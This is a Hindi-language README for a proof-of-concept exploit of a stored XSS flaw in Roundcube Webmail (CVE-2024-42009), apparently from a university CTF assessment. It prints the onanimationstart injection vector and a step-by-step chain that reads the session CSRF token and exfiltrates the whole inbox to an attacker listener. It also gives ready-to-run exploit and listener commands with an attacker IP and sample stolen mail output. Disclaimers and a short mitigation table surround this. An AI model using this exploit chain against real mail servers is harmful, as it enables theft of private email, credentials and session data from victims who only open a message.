
केवल अधिकृत सुरक्षा परीक्षण, CTF वातावरण और शैक्षिक अनुसंधान के लिए।
इस टूल का उपयोग उन प्रणालियों के विरुद्ध करना जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, Computer Misuse Act 1990 (UK), CFAA (US) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-42009 |
| प्रभावित सॉफ़्टवेयर | Roundcube Webmail ≤ 1.6.6 |
| पैच किया गया संस्करण | 1.6.7 / 1.6.8 |
| CVSS v3.1 स्कोर | 8.8 (उच्च) |
| CVSS वेक्टर | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — वेब पेज निर्माण के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन (XSS) |
| हमले का प्रकार | स्टोर्ड XSS → ज़ीरो-क्लिक ईमेल एक्सफ़िल्ट्रेशन |
| प्रमाणीकरण आवश्यक | कोई नहीं (SMTP डिलीवरी); कम (पीड़ित को ईमेल खोलना होगा) |
Roundcube 1.6.6 का HTML सैनिटाइज़र एक गलत <body> टैग विशेषता के भीतर CSS एनीमेशन कीफ़्रेम से जुड़े JavaScript इवेंट हैंडलर को हटाने में विफल रहता है।
इंजेक्शन वेक्टर:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
जब पीड़ित अपने प्रमाणित Roundcube सत्र में ईमेल खोलता है, तो CSS एनीमेशन तुरंत ट्रिगर होता है। onanimationstart हैंडलर rcmail JavaScript ऑब्जेक्ट तक पूर्ण पहुँच के साथ निष्पादित होता है, जिसमें सत्र का request_token भी शामिल है।
एक्सप्लॉइट श्रृंखला:
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
डेटा आने पर आउटपुट:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
पूरा JSON डेटा स्वचालित रूप से exfil_dump.json में सहेजा जाता है।
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
एक बार ईमेल Roundcube Webmail ≤ 1.6.6 में खोले जाने पर, लिसनर एक्सफ़िल्ट्रेटेड इनबॉक्स सामग्री प्रिंट करेगा।
Roundcube का HTML प्यूरीफायर इनकमिंग ईमेल HTML रेंडर करने से पहले खतरनाक विशेषताओं को हटाने के लिए ज़िम्मेदार है। संस्करण ≤ 1.6.6 में, प्यूरीफायर onclick, onerror और इसी तरह के हैंडलर को सही ढंग से हटा देता है — लेकिन CSS एनीमेशन इवेंट (onanimationstart, onanimationend, onanimationiteration) पर इवेंट हैंडलर को नहीं हटाता है।
चूँकि CSS एनीमेशन रेंडरिंग के भाग के रूप में ट्रिगर होते हैं (उपयोगकर्ता इंटरैक्शन नहीं), हैंडलर ईमेल खोलते ही निष्पादित हो जाता है — न कोई लिंक क्लिक, न संदेश खोलने के अलावा कोई उपयोगकर्ता क्रिया।
rcmail JavaScript ऑब्जेक्ट हर प्रमाणित Roundcube सत्र में वैश्विक रूप से सुलभ है। यह rcmail.env.request_token उजागर करता है, जो सत्र का CSRF टोकन है। Roundcube के अपने mail API एंडपॉइंट्स (?_task=mail&_action=list, ?_action=show) के साथ मिलकर, पेलोड अतिरिक्त प्रमाणीकरण ट्रिगर किए बिना पूरा इनबॉक्स पढ़ सकता है।
| संस्करण | स्थिति |
|---|---|
| ≤ 1.6.6 | असुरक्षित |
| 1.6.7 | पैच किया गया |
| 1.6.8 | पैच किया गया (अनुशंसित) |
| 1.5.x LTS | विक्रेता सलाह देखें |
| कार्रवाई | विवरण |
|---|---|
| अपग्रेड | Roundcube 1.6.8 या उसके बाद का संस्करण इस प्रकार के XSS को पैच करता है |
| CSP हेडर | वेबमेल vhost पर इनलाइन JS निष्पादन को रोकने के लिए Content-Security-Policy: default-src 'self'; script-src 'self' तैनात करें |
इस PoC को MSc साइबर सुरक्षा, कॉवेंट्री विश्वविद्यालय (2025–2026) के एथिकल हैकिंग और पेनेट्रेशन टेस्टिंग मॉड्यूल में Boot-to-Root CTF पेनेट्रेशन टेस्टिंग मूल्यांकन के भाग के रूप में विकसित और परीक्षण किया गया था। सभी परीक्षण स्पष्ट लिखित प्राधिकरण के साथ एक अलग VMware प्रयोगशाला वातावरण में किए गए थे।
लेखक: Segun Akinsoyinu
पोर्टफोलियो: segunakinsoyinu.github.io/MyPortfolio
यह कोड केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए जारी किया गया है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता है। इस टूल का उपयोग करने से पहले, सुनिश्चित करें कि आपके पास लक्ष्य प्रणाली का परीक्षण करने के लिए स्पष्ट लिखित प्राधिकरण है।
| तर्क | विवरण |
|---|
--smtp | लक्ष्य SMTP सर्वर का IP या होस्टनाम |
--port | SMTP पोर्ट (डिफ़ॉल्ट: 25) |
--from | प्रेषक पता (रिले द्वारा स्वीकृत कोई भी मान) |
--to | पीड़ित का ईमेल पता |
--attacker | आपका IP — पेलोड में एक्सफ़िल कलेक्टर के रूप में एम्बेड किया गया |
--lport | आपका लिसनर पोर्ट (डिफ़ॉल्ट: 8080) |
--subject | ईमेल विषय पंक्ति |
| SMTP रिले | पोर्ट 25 पर बिना प्रमाणीकरण रिले अक्षम करें — सभी आंतरिक डिलीवरी के लिए AUTH अनिवार्य करें |